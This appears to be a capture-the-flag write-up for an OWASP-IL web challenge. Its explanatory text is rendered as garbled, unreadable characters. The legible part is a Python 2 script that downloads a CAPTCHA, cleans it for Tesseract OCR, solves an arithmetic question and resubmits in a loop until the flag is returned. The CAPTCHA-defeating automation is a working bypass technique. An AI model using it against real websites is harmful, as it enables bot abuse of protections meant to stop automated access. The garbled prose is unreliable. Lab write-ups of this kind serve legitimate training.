ImageFile . LOAD_TRUNCATED_IMAGES = True  

png_file = PngImagePlugin . Image . open ( 'captcha.png' )  

width ,  height = png_file . size  

 

for  i in  xrange ( height ):  

    # change captcha colors to work better with tesseract  

    for  k in  xrange ( width ):  

        ab = png_file . getpixel (( k,  i ))  

        if  ab[ 0]  !=  255  or  ab[ 1]  !=  255  or  ab[ 2]  !=  255 :  

            png_file . putpixel (( k,  i ),  ( 255 ,  255 ,  255 ))  

        else :  

            png_file . putpixel (( k,  i ),  ( 0,  0,  0))  

 

png_file . save ( "captcha2.png" )  

 

text = pytesseract . image_to_string ( Image . open ( 'captcha2.png' ))  

ˢ ˫˧ˬ˰˲˪˷ ˟˪ ˣˮˬ˷ ˨˧˪ˢ˸ˢ ˱ˣ˯˟-text  ˫˧˰˧˲ˣˬ ˫ˮ˧˞ˣ ˫˧˶˲˯ˬˣ ˸ˣ˧˸ˣ˞ ˫ˮ˧˞˷ ˫˧ˣˣ˸ ˪˧˩ˬ ˶ˤˣ˥˷

˟ ˪˰ˣ˲˟-captcha. 

:˦˯˵˦ˢ ˸˞ ˣˮ˪ ˢ˵ˮˬˣ ˫˧˶˸ˣ˧ˬˢ ˫˧ˣˣ˸ˢ ˪˩ ˸˞ ˭ˮ˯ˬ ˶˷˞ ˞˟ˢ ˡˣ˵ˢ ˸˞ ˣˮ˟˸˩ ˭˩˪ 

# clean bad characters from captcha for example (space, backtick and so)  

return  "" . join ( map( lambda  data :  data if  data in  string . ascii_letters or  data in  

string . digits else  "" ,  text ))  

:ˢ˞˟ˢ ˢ˵˧ˠˣ˪ˢ ˸˞ ˰˴˟ˬ˷ ˡˣ˵ ˣˮ˟˸˩ ˢˮˣˬ˸ˢ ˸˞ ˥˸ˮ˪ ˣˮ˥˪˴ˢ˷ ˶˥˞˪ 

1. :˸˟ˣ˸˩˪ ˢ˷˵˟ ˸˥˧˪˷ ˧ˡ˧ ˪˰ ˱ˡˢˬ ˧˦ˬ˸ˬˢ ˪˧ˠ˶˸ˢ ˸˞ ˫˧˩˷ˣˬ 

http://challenges.owaspil.ctf.today:8085 

˧˶˪ˣˠ˶ ˧ˣ˦˧˟ ˧"˰ ˱˪˷ˮ ˪˧ˠ˶˸ˢ: 

2. ˢ ˸˞ ˫˧˩˷ˣˬ-captcha :˸˟ˣ˸˩˟ ˱ˡ˪ ˢ˷˵˟ ˸˥˧˪˷ ˧ˡ˧ ˪˰ ˱ˡˢˬ 

http:/ /challenges.owaspil.ctf.today:8085/captcha.php 

ˢˮˣˬ˸ˢ ˸˞ ˫˧ˡ˧˶ˣˬˣ. 

3.  ˢ˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰ ˢˮˣˬ˸ˢˬ ˦˯˵˦ˢ ˸˞ ˫˧˞˧˴ˣˬfix_captcha()  ˣˮˠ˴ˢ˷ ˡˣ˵˟ ˸˷ˬ˸˷ˬ ˶˷˞

.˭˩˪ ˫ˡˣ˵ 

4.  ˦˯˵˦ˢ ˸˞ ˢ˪˧˩ˬ ˢ˞˴ˣ˸ˢ ˫˞ .ˢ˞˴ˣ˸ˢ ˸˞ ˫˧˥˸ˮˬˣ ˸˶˷˪ ˫˧ˮˣ˸ˮˢ ˪˩ ˫˰ ˢ˷˵˟ˢ ˸˞ ˫˧˥˪ˣ˷

OWASP-IL  ˣˮ˥˪˴ˢ.˶ˠ˸˞ˢ ˸˞ ˶ˣ˸˲˪ 

:˨˩ ˢ˞˶ˮ ˞˪ˬˢ ˡˣ˵ˢ 

from  PIL import  Image ,  PngImagePlugin ,  ImageFile  

 

import  requests  

import  pytesseract  

import  string  

import  re  

import  numexpr  

 

 

def  fix_captcha ():  

    ImageFile . LOAD_TRUNCATED_IMAGES = True  

http://challenges.owaspil.ctf.today:8085/
http://challenges.owaspil.ctf.today:8085/captcha.php
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    png_file = PngImagePlugin . Image . open ( 'captcha.png' )  

    width ,  height = png_file . size  

 

    for  i in  xrange ( height ):  

        # change captcha colors to work better with tesseract  

        for  k in  xrange ( width ):  

            ab = png_file . getpixel (( k,  i ))  

            if  ab[ 0]  !=  255  or  ab[ 1]  !=  255  or  ab[ 2]  !=  255 :  

                png_file . putpixel (( k,  i ),  ( 255 ,  255 ,  255 ))  

            else :  

                png_file . putpixel (( k,  i ),  ( 0,  0,  0))  

 

    png_file . save ( "captcha2.png" )  

 

    text = pytesseract . image_to_string ( Image . open ( 'captcha2.png' ))  

 

    # clean bad characters from captcha for example (space, backtick and so)  

    return  "" . join ( map( lambda  data :  data if  data in  string . ascii_letters or  data 

in  string . digits else  "" ,  text ))  

 

 

def  get_captcha ():  

    response = requests . get ( captcha_url ,  cookies =cookies )  

 

    if  response . status_code == 200 :  

        with  open ( "captcha.png" ,  'wb' )  as  f :  

            f . write ( response . content )  

 

 

def  get_number ( response =None):  

    if  not  response :  

        response = requests . get ( number_url ,  stream =True )  

 

    for  line in  response . iter_lines ():  

        if  "math_question"  in  line :  

            re_value = re . search ( ">(.*?)=" ,  line ). group ( 1)  

            return  numexpr . evaluate ( re_value ). item ()  

 

# 

# Global Configurations  

# 

number_url = 'http://challenges.owaspil.ctf.today:8085/'  

captcha_url = "http://challenges.owaspil.ctf.today:8085/captcha.php"  

cookies = dict ( PHPSESSID="d2b86e03ba22bb52b850a6670da284ac" )  

headers = { 'content - type' :  'application/x - www- form - urlencoded' }  

 

number = get_number ()  

 

while  True :  

    get_captcha ()  

    captcha = fix_captcha ()  

 

    response = requests . post ( number_url ,  

                      cookies = cookies ,  

                      data = 

"captcha={0}&math_captcha={1}&submit=" . format ( captcha ,  number ),  

                      headers = headers ,  

                      stream = True )  

 

    if  "Oh snap! you are wrong!"  in  response . text :  

        print  "[ - ] Bad captcha!"  

    elif  "Correct!"  in  response . text :  

        print  "[+] Correct!"  

    else :  

        flag = re . search ( "{(.+?)}" ,  response . text ). group ( 1)  

        print  "[*] FLAG: OWASP - IL{{{0}}}" . format ( flag )  
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        raw_input ( "[*] Done!" )  

 

 

    # set new number  

    number = get_number ( response )  

:˪ˠˡˢ ˸˞ ˣˮ˪˟˧˵ˣ ˡˣ˵ˢ ˸˞ ˣˮ˴˶ˢ 

 
























